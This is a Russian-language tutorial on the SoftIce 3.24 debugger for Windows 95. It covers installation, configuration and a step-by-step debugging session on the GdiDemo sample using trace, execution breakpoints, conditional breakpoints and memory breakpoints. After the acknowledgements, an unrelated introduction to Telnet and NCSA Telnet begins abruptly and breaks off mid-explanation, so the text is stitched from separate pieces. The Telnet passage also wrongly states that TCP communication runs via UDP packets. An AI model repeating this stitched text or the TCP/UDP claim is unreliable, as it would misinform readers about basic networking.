Все эти вопросы возникают по одной простой причине: вся документация, которую можно найти в Internet’e, написана на английском языке, автору известна только одна статья на русском языке, и та, к сожалению, очень не полная. Чтобы заполнить этот информационный вакуум, и было написано это эссе. Сколько человек, столкнувшись с этими проблемами, “снесли” SoftIce и забыли о нем как о страшном сне, подсчитать трудно, а жаль – ведь это лучший отладчик на сегодняшний день.
Сразу хочется сделать несколько замечаний: первое, если вы после прочтения этой статьи все-таки возьметесь за SoftIce, то вам придется заняться английским языком, хотите вы этого или нет (почему – см.выше); второе, данная статья не претендует на роль документации, она была составлена как обзор той информации, которая была у автора на английском языке, а это фирменное руководство от фирмы NuMega – автора SoftIce-a, статьи и эссе, найденные в Интернете на различных сайтах, посвященных SoftIce и Reverse Engineering. По этой причине в статье возможны ошибки и неточности, автор будет благодарен за их исправление. В статье описывается последняя версия SoftIce 3.24 для WIN95, но большая часть сказанного относится и к предыдущим версиям. Предполагается, что читающие эту статью имеют минимальные знания об устройстве процессора и компьютера и представляют, что такое ассемблер.
Что такое SoftIce?
SoftIce состоит из отладчика уровня ядра (kernel mode debugger) (собственно, это и есть отладчик) и утилиты загрузчик отладочной информации (Symbol Loader). SoftIce – это универсальный отладчик, которым можно отладить любой код, включая подпрограммы прерывания и драйверы ввода-вывода. Утилита Symbol Loader загружает отладочную информацию для вашего модуля, позволяет настроить SoftIce, и дает возможность записать историю комманд (history buffer) в файл.
SoftIce совмещает в себе мощь аппаратного отладчика и удобство символьного, он имеет следующие возможности:
Символьная отладка 32-битных приложений, отладка драйверов устройств для WIN NT, драйверов для WIN95, VxD, 16-битных программ для DOS и Windows.
Отладка фактически любого кода, включая подпрограммы прерывания и внутренние подпрограммы WIN 95 и WIN NT.
Установка точек останова на операции чтения/записи в память, чтения/записи портов ввода-вывода, прерываний.
Установка точек останова на сообщения Windows.
Установка точек останова, срабатывающих при определенных условиях (условных точек останова), и действий, которые должны произойти при срабатывании точки останова.
И многое другое …
Symbol Loader позволяет прочитать отладочную информацию из отлаживаемых программ (EXE, DLL, VxD, 386, OCX) и загрузить ее в отладчик, запустить ваше приложение и автоматически установить точку останова на точку входа в программу, записать в файл протокола отладки.
Инсталляция
Аппаратные требования (от NuMega):
Процессор:486 или Pentium.
ОЗУ:необходимо 16 Мб (хотя в свое время работал и на 8), желательно 32 Мб.
Мышка:обычная или PS (интересно, а кто в виндах без нее работает?).
Видеокарта:начиная с версии 3.2, в SoftIce входит универсальный дисплейный адаптер, который должен работать с любой видеокартой, также есть драйвера и для большого числа видеокарт.
SoftIce поддерживает работу с:
одной видеокартой (стандартный вариант)
с двумя видеокартами (вторая видеокарта должна быть MDA (Monochrome Display Adapter) или Hercules-совместимая)
с двумя обычными видеокартами при условии, что они будут работать вместе
удаленную отладку (со вторым компьютером, который соединяется с первым посредством COM-порта (remote debugging));
На диске занимает 5,8 Мб.
При инсталляции, как обычно, введите директорию, куда вы хотите поставить SoftIce, выберите компоненты, которые хотите поставить, после чего попадете в окно выбора видеоадаптера. SoftIce сам определяет видеокарту, если она соответствует вашей – нажмите кнопку Test, экран должен переключится в текстовый режим и вы увидите фразы “SoftIce is totally awesome!” на всем экране, а в середине отсчет цифр от 5 до 1. Если вы это увидели, то значит настройка видеоадаптера прошла успешно – жмите кнопку Next, если же у вас сбилась развертка, пропало изображение или повисла машина, то значит у SoftIce проблемы с видеокартой, для их решения существуют два пути: первый, включить универсальный видеоадаптер – должно помогать всегда (на моем Matrox Mistique проходит только этот вариант), тогда SoftIce будет работать в окне: второй, подобрать из числа представленных видеоадаптеров аналог вашему (у меня с S3 TRIO 64 вис (правда SoftIce был 3.01), а с DS 2000 работал на-ура); вам решать какой вариант лучше.
После выбора адаптера выберите тип мыши, которой вы пользуетесь (хотя мышь можно и не ставить, без нее тяжело работать в SoftIce). Далее разрешите модифицировать свой autoexec.bat для того, чтобы SoftIce загружался при старте компьютера. Подтвердите выбранную конфигурацию и следите за тем, как SoftIce ставится на вашу машину. На предложение перезагрузить компьютер, согласитесь. После перезагрузки нажмите клавиши Ctrl-D. Если вместо рабочего стола вы увидите какие-то непонятные буквы и цифры, то считайте, что установку SoftIce на машину вы закончили, и наступает этап настройки. Если же ничего не случилось, или машина повисла при загрузке, то проверьте все ли вы правильно сделали. Если SoftIce не загрузился, проверьте, прописана ли в autoexec.bat строка запуска, она всегда последняя и выглядит приблизительно так: C:WINDEBUGSICE324WINICE.EXE, если нет – пропишите ее с вашим путем. Если машина повисла, то причина, скорее всего в неверной конфигурации видеоадаптера. Попробуете изменить ее.
Кстати, все настройки, которые вы проводили при инсталляции можно изменить: Пуск – Программы – NuMega SoftIce.
Настройка:
Откройте на редактирование файл winice.dat, который находится в той же директории что и SoftIce (в случае NT – в каталоге %SystemPath%system32drivers), и уберите точку с запятой со следующих строк:
; ***** Examples of export symbols that can be included for Windows 95 *****
;Change the path to the appropriate drive and directory
EXP=c:windowssystemkernel32.dll – убрать;
EXP=c:windowssystemuser32.dll – убрать;
EXP=c:windowssystemgdi32.dll – убрать;
Проверьте путь к файлам kernel32,user32,gdi32, он должен соответствовать вашему (Актуально в случае, если windows ставилась в каталог отличный от C:WINDOWS).
Эта операция нужна для того, чтобы при отладке программы при вызове системных функций вы увидели имя вызываемой функции, а не какой-то call [xxxxxxxx].
Пример:
Call [USER32!GetWindow], вместо CALL [BFC01480].
На мой взгляд первое выглядит значительно информативней.
Исправьте строку INIT в соответствии с одним из примеров:
INIT=”WR;WD;WL;X;” – если вы используете видеодрайвер для “родной” видеокарты (полноэкранный режим).
INIT=”SET FONT 3;SET ORIGIN -10 25;WR;WD 4;WL;WC 12;X;” – если вы используете универсальный видеодрайвер (оконный режим).
INIT=”SET FONT 1; SET ORIGIN 30 30;LINES 60;WIDTH 90;WR;WD 4;WL;WC 12;X;” – вариант, работающий на моей машине и выводящий на экран максимум информации (оконный режим), возможно для вашей машины потребуется изменить значение некоторых параметров.
Если вы хотите передвинуть окно с SoftIce, то используйте клавиши Ctrl-Alt-(одна из клавиш управления курсором).
Более подробно команды и переменные SoftIce будут рассмотрены ниже, тогда вы сможете настроить SoftIce на свой вкус.
Первые шаги
Если вы все еще читаете этот опус, то для вас настал долгожданный момент истины
, пора посмотреть как это все работает в деле. В поставку SoftIce входит пример GdiDemo, его и будем отлаживать (придерживаясь указаний фирмы NuMega).
Пример без проблем собрался в VC4 (не забудьте включить отладочную информацию), в BC 5.02 пример тоже собрался, но отладочную информацию Symbol Loader не увидел, хотя в TD она грузится. Тот, кому лень собирать проект самому, может скачать его отсюда: Gdidemo.zip (или отсюда ), архив занимает 0.1 Мб.
1. Загрузка отлаживаемой программы.
Запускаем Symbol Loader, выбираем опцию Open module в меню File, идем туда, где у вас лежит Gdidemo.exe, и открываем его, далее в меню Module нажимаем на опцию Load. SL оттранслирует отладочную информацию в .NMS файл, загрузит исходные файлы, запустит отлаживаемую программу (в данном случае Gdidemo) и всплывет в SoftIce, где вы увидите исходный текст программы.
Подсвеченная строка с номером 35 – это точка входа (entry point) в вашу программу. Если SL вывел сообщение типа “An error occured during symbol translation/load”, значит в отлаживаемом файле отсутствует отладочная информация, жмите OK и наслаждайтесь [диз]ассемблером.
2. Управление SoftIce’ом.
Если Вы все правильно сделали, то вы должны увидеть SoftIce разбитый на несколько окон. Верхнее окно – Register Window (окно регистров) – показывает состояние рабочих регистров процессора. Под ним находится окно данных Data Window, в нем вы можете посмотреть или отредактировать дамп памяти. Ниже находится Code Window (окно кода) – в нем находится исходный текст программы (если вы загрузили отладочную информацию), или дизассемблированный код программы. В самом низу находиться окно команд – Command Window, в нем вы можете вводить команду и видеть результат их выполнения. Самая нижняя строчка – строка помощи, в ней при вводе подсвечиваются возможные варианты команд и их синтаксис. Удобнее всего управлять SoftIce с помощью мышки, но можно и без нее, хотя и не так удобно.
2.1 Управление с помощью мышки:
Вы можете: изменять размер окон и закрывать их (нельзя изменить размер окна регистров и FPU); скроллировать окна как на одну строку, так и на целый экран; изменять значение регистров, флагов, ячеек памяти, устанавливать точки останова на исполнение, удалять из Watch Window переменные, которые больше не нужны. Правая кнопка мыши вызывает контекстное меню, в котором вы можете выбрать одну из представленных команд; работают команды с буфером обмена Windows.
Изменение размера окна – подведите курсор к нижней границе того окна, которому хотите изменить размер или закрыть его, нажмите левую кнопку мыши и ведите ее вниз (увеличение размера) или вниз (уменьшение размера), если хотите закрыть окно, подведите нижнюю границу к верхней, в окне появится фраза Close current window и окно исчезнет.
Скроллинг на одну строку – подведите курсор к маленьким стрелочкам, расположенным у границ того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен двум строчкам).
Скроллинг на экран – подведите курсор к большим стрелочкам расположенным внутри того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен четырем строчкам).
Изменение значений регистров – подведите курсор к тому регистру, значение которого хотите изменить, нажмите левую кнопку мыши и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте.
Изменение значений флагов – подведите курсор к тому флагу, который хотите изменить, нажмите левую кнопку мыши, после чего клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая установлен).
Изменение значений ячеек памяти – подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить, нажмите левую кнопку мыши и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте.
Примечание: во всех случаях изменения значений они вступают в силу после того, как вы переключитесь в любое другое окно, до этого можно отменить последнее изменение, нажав Esc.
Установка точек останова на исполнение – подведите курсор к той строке в Code Window, в которой хотите остановиться, и двойным щелчком по левой кнопке мыши поставьте точку останова, строка подсветится.
Удаление из Watch Window переменных – установите курсор на переменную, которую хотите удалить, нажмите левую кнопку мыши, переменная подсветиться, нажмите кнопку Del – переменная исчезнет.
Контекстное меню – по правой кнопке мыши вы попадаете в контекстное меню, в котором вам доступны команды:
Copy – копировать в буфер обмена адрес или данные, находящиеся под курсором.
Paste – вставить в окно команд, адрес или данные находящиеся в буфере обмена
Copy&Paste – копировать в буфер обмена адрес или данные, находящиеся под курсором, и вставить их в окно команд.
Display – вывести в окно данных дамп памяти, расположенный по адресу, над которым в данный момент находиться курсор (Аналог команды D).
Un-Assemble – вывести в Code Window исходный (если есть отладочная информация) или дизассемблированный текст программы, находящийся по адресу, над которым в данный момент находиться курсор (Аналог команды U).
What – идентифицирует значение, находящееся под курсором с заранее определенными (Аналог команды Wath).
Previous – отменяет предыдущую команду, введенную из контекстного меню (работает с командами Display и Un-Assemble).
2.2 Управление с помощью клавиатуры:
Можете делать все то же самое, но будет отсутствовать контекстное меню и буфер обмена.
Изменение размера окна – размер (в строках) непосредственно задается в команде открытия окна, если нужно.
WC – открыть окно кода (Code Window).
WD – открыть окно данных (Data Window).
WF – открыть окно FPU Stack (FPU Stack Window).
WL – открыть окно локальных переменных (Locals Window).
WR – открыть окно регистров (Register Window).
WW – открыть окно слежения (Watch Window).
Повторный ввод этих команд без параметров закрывает соответствующие окна, с параметрами – меняет размер.
По умолчанию курсор находиться в окне команд. Переместить курсор в нужное окно можно следующими комбинациями клавиш (если вы находитесь в окне команд (Command Windows)):
Перейти в окно кода (Code Window)Alt-C
Перейти в окно данных (Data Window)Alt-D
Перейти в окно локальных переменных (Locals Window)Alt-L
Перейти в окно регистров (Register Window)Alt-R
Перейти в окно слежения (Watch Window)Alt-W
В окно сопроцессора курсор переместить нельзя.
Повторное нажатие этих клавиш возвратит вас обратно в окно команд (все вышесказанное действительно и для Code Window).
В окне данных переключиться между дампами в HEX и ASCII формате можно с помощью клавиши Tab, с ее же помощью можно переходить между регистрами в окне регистров.
Скроллинг на одну строку – переходите в нужное окно и клавишами управления курсор вверх и курсор вниз скроллируете окно.
Скроллинг на экран – переходите в нужное окно и клавишами PageUp и PageDown скроллируете окно.
Примечание: Code и Data Window можно скроллировать и не переключаясь в них из окна команд, для этого нужно кроме управляющих клавиш удерживать еще Alt для Data Window и Ctrl для Code Window.
Изменение значений регистров – перейдите в окно регистров, подведите курсор к тому регистру, значение которого хотите изменить и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте, нажатие Enter подтверждает изменение, Esc отменяет.
Изменение значений флагов – перейдите в окно регистров, подведите курсор к тому флагу, который хотите изменить. После чего, клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая – установлен), Enter можно не нажимать.
Изменение значений ячеек памяти – перейдите в окно данных, подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте. Нажатие Enter или переход к следующему числу подтверждает изменение, Esc отменяет.
Установка точек останова на исполнение – в окне команд наберите команду BPX и введите адрес строки, на которой хотите остановиться.
Удаление из Watch Window переменных – перейдите в Watch Window, установите курсор на переменную, которую хотите удалить, переменная подсветиться, нажмите кнопку Del – переменная исчезнет.
После небольшой лекции по управлению SoftIce можно заняться и собственно отладкой. Так как мы отлаживаем программу, написанную на языке высокого уровня и с отладочной информацией, то можем отключить окно регистров и окно данных, и включить Locals Window, что бы видеть какие параметры передаются в процедуры (т.е. WD,WR,WL при условии, что пользовались настройками приведенными выше).
Что бы посмотреть какие из исходных текстов программы были загружены – дайте команду FILE *.
На экране в окне команд вы увидите имена файлов содержащих исходные тексты программы GdiDemo: Bounce.c, Wininfo.c, Poly.c, Maze.c, Init.c, Draw.c, Dialog.c, Xform.c, Gdidemo.c. Так как окно команд обычно небольшое, то вы увидите несколько первых имен файлов. В строке помощи будет присутствовать надпись “Press any key to continue; Esc to cancel”, вы можете с помощью клавиши Enter. Получить следующую строку с именем файла, или, нажав на пробел, получить следующую порцию строк с именами файлов (действительно для всех сообщений выводимых в окне команд).
Если в процессе изучения листинга программы вы забрались слишком далеко от текущего значения EIP, то вернутся можно командой:
:U EIP – дизасемблировать программу начина с текущего EIP адреса, либо командой;
:. (точка) – переместиться к текущей исполняемой инструкции.
3. Трассировка программы.
Воспользуйтесь командой T (trace) для того чтобы оттрассировать одну команду, или клавишей F8, которая закреплена по умолчанию за командой T. Произойдет выполнение команды находящейся в текущей строке и курсор перейдет на следующую строку и подсветит ее. Это строка:
LpszLine=LpszLine;
Еще раз нажмите F8, курсор передвинется на следующую строку:
if(!hPrevInst).
В Code Window вы видите исходный текст программы (source mode). Если вы хотите посмотреть дизассемблированный (code mode) текст программы или исходный и дизассемблированный (mixed mode) текст вместе, воспользуйтесь командой SRC или клавишей F3 закрепленной за этой командой. При первом нажатии вы увидите смешанный (исходный текст программы и ассемблерные инструкции, из которых состоит эта строка) текст, при втором нажатии дизассемблированный, третье нажатие вернет вас в режим просмотра исходного текста программы.
Нажмите еще раз F8 и вы перейдете к строке
if(!RegisterAppClass(hInst));
Для того, чтобы отлаживать программу, вы пользуетесь командой Т, которая исполняет один оператор исходной программы или одну машинную команду.
Еще существует команда P или клавиша F10, которая выполняет один шаг в программе, т.е. при трассировке какой-либо функции или прерывания вы не получите управления до тех пор, пока выполнение функции не завершится, и вы не вернетесь из функции обратно. Команду P удобно применять в том случае, когда вы отлаживаете основной алгоритм и отвлекаться на трассировку каждой процедуры нерационально.
Примечание: Командой T нельзя оттрассировать системные вызовы (WIN32 API calls) находясь в source mode, для их трассировки нужно перейти в mixed или code mode.
4. Просмотр локальных переменных.
Окно Locals Window показывает текущий кадр стека. В нашем случае он содержит локальные переменные для функции WinMain.
Командой T войдите в функцию RegisterAppClass, окно Locals Window станет пустым, так как для этой функции еще не определены локальные переменные. Функция RegisterAppClass находится в файле INIT.C. SoftIce показывает текущий файл в левом верхнем углу Code Window
Введите команду T снова, окно Locals Window будет содержать параметр переданный функции RegisterAppClass (hInstance) и локальную структуру wndClass. Перед структурой стоит знак плюс, который означает что внутри находятся переменные, которые можно посмотреть (так же можно смотреть строковые переменные и массивы). Если у вас Pentium и вы пользуетесь мышкой, то посмотреть структуру можно два раза щелкнув по ней мышкой, знак + сменится на – и вы увидите переменные из которых состоит структура. Закрыть структуру можно так же (двойным щелчком мыши). Если вы пользуетесь клавиатурой то последовательность действий такова: жмем Alt-L для перехода в Locals Window, затем курсорными клавишами подводим светящуюся полоску к структуре, которую хотим посмотреть и нажимаем Enter. Если требуется закрыть ее, то нажимаем Enter еще раз.
5. Установка точек останова на выполнение.
Точки останова на выполнение делятся на два вида: просто точки останова и однократные точки останова.
Однократные точки останова:
Перейдите в Code Window, используя клавишу PgDn переместите курсор на строку с номером 61 (тоже самое можно сделать используя команду U .61), в этой строке находиться первый вызов функции Win32 API RegisterClass. Используя команду HERE (клавиша F7) выполните программу до этой строки.
Команда HERE устанавливает точку останова в программе на адрес или строку на которой находиться курсор и выполняет программу с текущего адреса до адреса на котором находиться курсор, т.е. до тех пор пока не сработает точка останова, после срабатывания SoftIce автоматически отключит эту точку останова, что бы она больше не срабатывала.
Текущей строкой в отлаживаемой программе стала строка:
If(!RegisterClass(&wndClass))
Примечание: того же самого результата можно было добиться если бы вы дали команду G .61 (исполнять программу до строки 61).
Обычные точки останова.
Следующие шаги демонстрируют использование обычных точек останова, т.е. таких которые будут срабатывать до тех пор пока вы их не отмените. Найдите следующий вызов функции RegisterClass, находящийся в строке 74. Установите курсор на эту строку и введите команду BPX (BreakPoint eXecutable) или клавишу F9 (по этой команде, в память на место команды расположенной под курсором записывается команда INT3, но вы этого не видите
). Строка должна подсветиться (если вы находитесь в code mode, то после команды BPX необходимо указать адрес строки на которую хотите поставить точку останова). Снять точку останова можно повторным вводом этой же команды. Если вы счастливый обладатель процессора Pentium, то процесс установки и снятия точки останова сводится к двойному щелчку левой кнопкой на той команде, где хотите поставить точку останова. После установки точки останова запустите программу командой G или X (клавиша F5). Когда программа исполнит инструкцию INT3, она передаст управление SoftIce, после чего он появиться перед вами. Посмотреть информацию об установленных точках останова можно командой BL (BreakPoint List):
:BL
00) BPX #0137:00402442 (адрес может быть другим).
Видим что установлена одна точка останова на исполнение по адресу 00402442, с порядковым номером 0. По этому адресу находиться команда, расположенная в текущем файле INIT.C в строке 74. Вы можете использовать вычисление выражений, для того чтобы получить адрес строки по ее номеру:
.74
void * = 0×00402442
Так как дальнейшая пошаговая трассировка функции RegisterAppClass не имеет для нас смысла, вернемся в то место, откуда эта функция вызывалась. Для этого существует команда P с параметром RET (клавиша F12). Она позволяет выполнять программу до тех пор пока не встретит команду RET (RETF), исполнив эту команду SoftIce выйдет из подпрограммы и остановиться на строке следующей за вызовом этой подпрограммы. Применительно к нашей программе: функция RegisterAppClass вызывается из функции WinMain, SoftIce остановиться в функции WinMain на строке следующей за вызовом функции RegisterAppClass, т.е. подсвечена будет строка:
Msg.wParam = 1;
Воспользуйтесь командой BC (Breakpoint Clear) с номером точки останова, который вы посмотрели с помощью команды BL, для того, что бы убрать именно эту точку останова, или вместо номера введите *, тогда вы уберете все точки останова (можно вводить номера точек останова через запятую, если хотите убрать несколько точек).
6. Использование информационных команд.
SoftIce имеет в своем распоряжении много разных команд, с помощью которых можно узнать состояние и получить иную информацию об операционной системе и запущенных в ней приложениях. Мы рассмотрим только две команды: H (Help) и CLASS. Эти команды выводят достаточно много информации в окне команд (Command Window), поэтому желательно увеличить размер этого окна, для этого закроем окно локальных переменных (Locals Window).
По команда H можно получить помощь по всем командам SoftIce или более подробную информацию о конкретной команде, если введете ее имя в качестве аргумента команды H:
:H CLASS
Display window class information
CLASS [-x] [task-name]
Ex: CLASS USER
Первая строка дает описание команды, вторая показывает информацию о синтаксисе и аргументах, которые могут использоваться в команде, третья строка содержит пример использования команды.
Целью выполнения функции RegisterAppClass является регистрация шаблона для классов окон, которые будут использованы приложением GdiDemo для создания окон. Используя команду CLASS можно посмотреть зарегистрированные классы для GdiDemo:
:CLASS GDIDEMO
Результатом выполнения данной команды является информация о каждом зарегистрированном классе окна. Информация включает в себя: имя класса, адрес внутренней структуры данных WNDCLASS, модуль который зарегистрировал данный класс, адрес процедуры, которая обслуживает данный класс и состояние флагов стиля класса. Для получения подробной информации воспользуйтесь ключом –X.
Handle
Class Name
Owner
WndwProc
Styles
5110
BOUNCEDEMO
GDIDEMO
2E9F:00000114
03000003
40AC
DRAWDEMO
GDIDEMO
2E9F:000000FE
03000003
409C
MAZEDEMO
GDIDEMO
2E9F:000000E8
03000003
3BC4
XFORMDEMO
GDIDEMO
2E9F:000000D2
03000003
3BB4
POLYDEMO
GDIDEMO
2E9F:000000BC
03000003
3A00
GDIDEMO
GDIDEMO
2E9F:000000A6
03000003
7. Символьные имена.
Когда вы загружаете приложение с отладочной информацией, SoftIce автоматически создает таблицу символьных имен которая содержит все имена, определенные в данном приложении. Используя команду TABLE можно посмотреть какие таблицы символьных имен загружены в настоящий момент:
:TABLE
GDIDEMO [NM32]
0001044741 Bytes Of Symbol Memory Available
Используемая в данный момент таблица символьных имен выделена цветом. Если текущая таблица символьных имен не соответствует той на которую ссылается ваше приложение, то используя команду TABLE с именем вашего приложения в качестве аргумента, вы подключите нужную таблицу (если для вашего приложения создана таблица):
:TABLE GDIDEMO
Используя команду SYM вы можете посмотреть все символьные имена, определенные в текущей таблице (на экран выводятся по сегментам, внутри них в алфавитном порядке). Если интересует какие-то определенные имена, то используйте шаблоны:
:SYM w*
.text
(0137:00401000
, 000145C1 bytes)
0137:004012E0
WinMain
0137:00405700
WinMainCRTStartup
0137:004013AD
WndProc
0137:0040AF50
wcslen
0137:0040C160
wcsncnt
0137:004107A0
wctomb
0137:0040FA50
write_char
0137:0040FAD0
write_multi_char
0137:0040FB20
write_string
На экране список всех символьных имен, начинающихся с буквы w, все они расположены в сегменте .text (выполняемый сегмент, он начинается с адреса 0137:00401000 и имеет длину 0145C1H байт), т.е. эти имена – имена функций и процедур входящие в приложение GDIDEMO. Данные находятся в сегментах .data, .rdata, .idata.
8. Условные точки останова.
Одним из символов, определенных в приложении GDIDEMO, является функция LockWindowInfo. Назначение этой функции – возвращение адреса переменных, которые определяют свойства окна. Для того, чтобы ознакомиться с условными точками останова и точками останова на доступ к памяти, мы выполним следующие действий:
Установим точку останова на функцию LockWindowInfo
Отредактируем поставленную точку останова таким образом, чтобы она срабатывала по определенному нами условию.
Установим точку останова на доступ к ячейки памяти, для того чтобы отследить обращения к этой ячейке.
Установка точки останова на функцию LockWindowInfo.
Командой BPX LockWindowInfo поставим точку останова на выполнение на эту функцию. Каждый раз, когда в одном из окон приложения GDIDEMO нужно будет обновить информацию, программой будет вызываться функция LockWindowInfo, так как на эту функцию поставлена точка останова, то будет вызываться SoftIce. Командой BL проверьте, установилась ли точка останова. Запустите приложение командой X или G. Как только будет вызвана функция LockWindowInfo, SoftIce всплывет. Так как обновление происходит постоянно, то постоянно вызывается и SoftIce, что очень неудобно, если нас интересует обновление какого-либо конкретного окна. Чтобы перехватить вызов на обновление конкретного окна, к примеру, POLYDEMO, воспользуемся условной точкой останова. Из исходного текста программы (файл wininfo.c) видно, что функция LockWindowInfo получает в качестве входного аргумента один параметр HWND (Handle Window) – дескриптор окна, и возвращает в вызывающую функцию одно значение – указатель на переменные для данного окна. То есть если бы мы заставили срабатывать точку останова только на обработчик окна POLYDEMO, мы бы добились своей цели. Для начала нам необходимо узнать дескриптор нашего окна, для этого воспользуемся командой:
:HWND GDIDEMO
WindowHandle
hQueue
SZ
Qowner
ClassName
WindowProcedure
0724(1)
10FF
32
GDIDEMO
GDIDEMO
365F:000001C4
0728(2)
10FF
32
GDIDEMO
MdiClient
17A7:00001988
0734(3)
10FF
32
GDIDEMO
BOUNCEDEMO
365F:00000232
0730(3)
10FF
32
GDIDEMO
POLYDEMO
365F:000001DA
072C(3)
10FF
32
GDIDEMO
DRAWDEMO
365F:0000021c
дескриптор окна POLYDEMO имеет значение 0730, если в списке вы не увидели нужного окна, то запустите приложение клавишей X или G, опять сработает точка останова, проверьте, создалось ли окно, если нет, то повторите последние действия. Теперь можно останавливать исполнение программы только в том случае, когда в качестве параметра для функции LockWindowInfo используется значение 0730. В Windows параметры для функции обычно передаются через стек. При остановке в функции LockWindowInfo стек будет выглядеть следующим образом (посмотреть содержимое стека можно подведя курсор к регистру ESP, нажав правую кнопку мыши вызвать контекстное меню и выбрать команду Display, неплохо бы еще сменить командой DD формат вывода данных в DataWindow на показ двойных слов, так как наше приложение 32-разрядное):
ESP = 0055FC00
013F:0055FC00 00404852 00000730 0055FC3C 00008CAA
число 00404852 – это адрес, на который программа перейдет после завершения работы нашей функции (адрес возврата);
число 00000730 – это дескриптор окна POLYDEMO (собственно то, что нас интересует);
Теперь зная, где и что у нас передается в функцию, мы можем выставить условную точку останова. Для этого вызовем на редактирование точку останова, поставленную на функции LockWindowInfo:
:BPE 0
в нижней строке командного окна появиться строка:
:BPX LockWindowInfo
и курсор установиться в конце строки, теперь можете редактировать точку останова по своему усмотрению, в конце строки добавьте следующее условие: IF ESP->4 == 00000730 и нажмите Enter.
Точка останова теперь будет выглядеть так:
:BPX LockWindowInfo IF ESP->4 == 00000730
То есть она будет срабатывать тогда, когда двойное слово по адресу ESP+4 будет равным числу 00000730, которое соответствует дескриптору окна POLYDEMO. Проверьте командой BL, соответствует ли точка останова заданной, запускайте приложение и убедитесь, что вся эта конструкция замечательно работает.
Установим точку останова на доступ к первому двойному слову данных экземпляра окна POLYWINDOW. Как уже отмечалось выше, входным аргументом для функции LockWindowInfo является дескриптор окна, выходным адрес данных экземпляра окна. После срабатывания точки останова поставленной на функции LockWindowInfo с параметром соответствующим дескриптору окна POLYWINDOW, на выходе функции будем иметь адрес данных экземпляра окна POLYWINDOW, по этому адресу и поставим точку останова на доступ к памяти.
Для того чтобы получить адрес данных экземпляра окна, выполним программу до строки с номером 57 (в файле WININFO.C):
:G .57
функция возвращает 32-битное значение (в нашем случае адрес) в регистре EAX, поэтому можно используя команду BPMD (BreakPoint Memory Dword) и значение адреса в регистре EAX, поставить точку останова на доступ к первом слову данных экземляра окна POLYDEMO:
:BPMD EAX
Эта команда использует регистры аппаратной отладки встроенные в процессор для отслеживания чтения и записи двойного слова по указанному линейному адресу. В данном случае это первое слово данных экземпляра окна POLYDEMO. Используйте команду BL что бы проверить правильность установки точки останова.
:BL
00) BPX LOCKWINDOWINFO IF ((ESP->4)==0×00000730)
01) BPMD #015F:0052006C RW DR3
Точка останова с номером 0 установлена на исполнение функции LockWindowInfo и точка останова с номером 1 стоит на доступ к памяти по адресу #015F:0052006C.
Отключите 0 точку останова командой BD (Breakpoint Disable):
:BD 0
В отличие от команды BC, которая удаляет точку останова, команда BD временно отключает точку, т.е. она не будет срабатывать, но ее в любой момент можно включить обратно командой BE (Breakpoint Enable). Отключенные точки останова выделяются звездочками рядом с порядковым номером точки останова.
:BL
00) * BPX LOCKWINDOWINFO IF ((ESP->4)==0×00000730)
01) BPMD #015F:0052006C RW DR3
Запустите SoftIce командами X или G, когда окно POLYDEMO попытается получить доступ к первому двойному слову экземпляра данных окна, сработает точка останова и SoftIce всплывет, это будет происходить в функциях PolyRedraw и PolyDrawBez. Эти функции обращаются к полю nBezTotal, которое находиться по нулевому смещению в данных экземпляра окна POLYDEMO. Значение этого поля задает количество кривых одновременно выводимых в окно POLYDEMO.
Примечание: Из-за особенностей архитектуры процессоров Intel перехват обращения к ячейки памяти произойдет после исполнения команды обращающейся к памяти, т.е. SoftIce осановиться на следующей команде.
Сбросьте все точки останова командой BC * и выйдете из SoftIce.
Если вы добрались до этих строк – значит вы отладили свою первую программу с помощью замечательного отладчика SOFTICE. Но возможности SoftIce не ограничиваются теми, которые мы здесь вкратце рассмотрели, они гораздо больше.
Замеченные ошибки в версии 3.24:
При отладке программы в Code Window неправильно дизассемблируются команды перехода ( JXX SHORT), т.е. стрелочка показывает направление перехода правильно, а в мнемонике он на 100H больше (или меньше – не помню).
Автор выражает огромную благодарность всем тем, кто помогал в написании данного опуса : моей любимое девушке Наденьке; Эрнесту Полетаеву – за приведение в божеский вид того, что я написал и за подробные консультации; Михайлову Антону и Махонину Юре – за идею и возможность осуществления оной; Диме Петрасу – за то что он мой фидошный босс; и всем тем кого здесь нету
)).
В Telnet, как правило, вкладывают два смысла. Во первых Telnet — это протокол эмуляции терминала, через который осуществляется удаленный доступ в Internet. А во вторых, telnet это программа UNIX с аналогичными функциями (пишется с маленькой буквы, ибо в UNIX это важно). Запустив такую программу, вы увидите на экране своего монитора удаленный терминал. Все это может быть реальностью только за деньги, То есть вы должны получить доступ в Internet на уровне Dial-up. Впрочем, в Internet существуют сервера, которые предоставляют бесплатный ограниченный доступ через Telnet к некоторым базам данных.
Программа telnet через определенные команды позволяет управлять параметрами сеанса связи только через командный режим. Это означает, что сначала вы коннектитесь с удаленным хостом и после того как нажимаете escape-последовательность, попадаете в командный режим telnet. Сеанс связи поддерживается как вашим софтом, так и софтом удаленной машины. Если копать глубже, то связь осуществляется через протокол TCP посредством пакетов UDP.
Таким образом Telnet это:
? регистрация на удаленном компьютере;
? использование софта Internet, в том числе клиентских программ на удаленном компьютере.
? запуск доступного софта на удаленном компьютере.
Далее мы будем разбирать Telnet на основе программы NCSA Telnet. Этот софт предоставляет интерактивный доступ с писишного компьютера к телнетовским серверам сети TCP/IP.
NSCA Telnet
Многие, говоря о Telnet, подразумевают UNIX. А те, кто считают, что знают UNIX, работают в Internet через Telnet. Мы уходим от тех и от других. На время. Мы погрузимся в старый добрый DOS, так как NCSA Telnet работает в стандартной MS DOS.
Запуск NCSA Telnet осуществляется после ввода следующей команды:
telnet hostname
Если все набрано правильно, то вы соединитесь с хостом hostname. Этот хост попросит вас ввести регистрационное имя и пароль.
NCSA Telnet эмулирует терминал VT100. Но операционка удаленного хоста не может определить тип вашего терминала. Вы должны определить его сами. Для удаленных UNIX-компьютеров введите:
newton% set term=vt100;tset
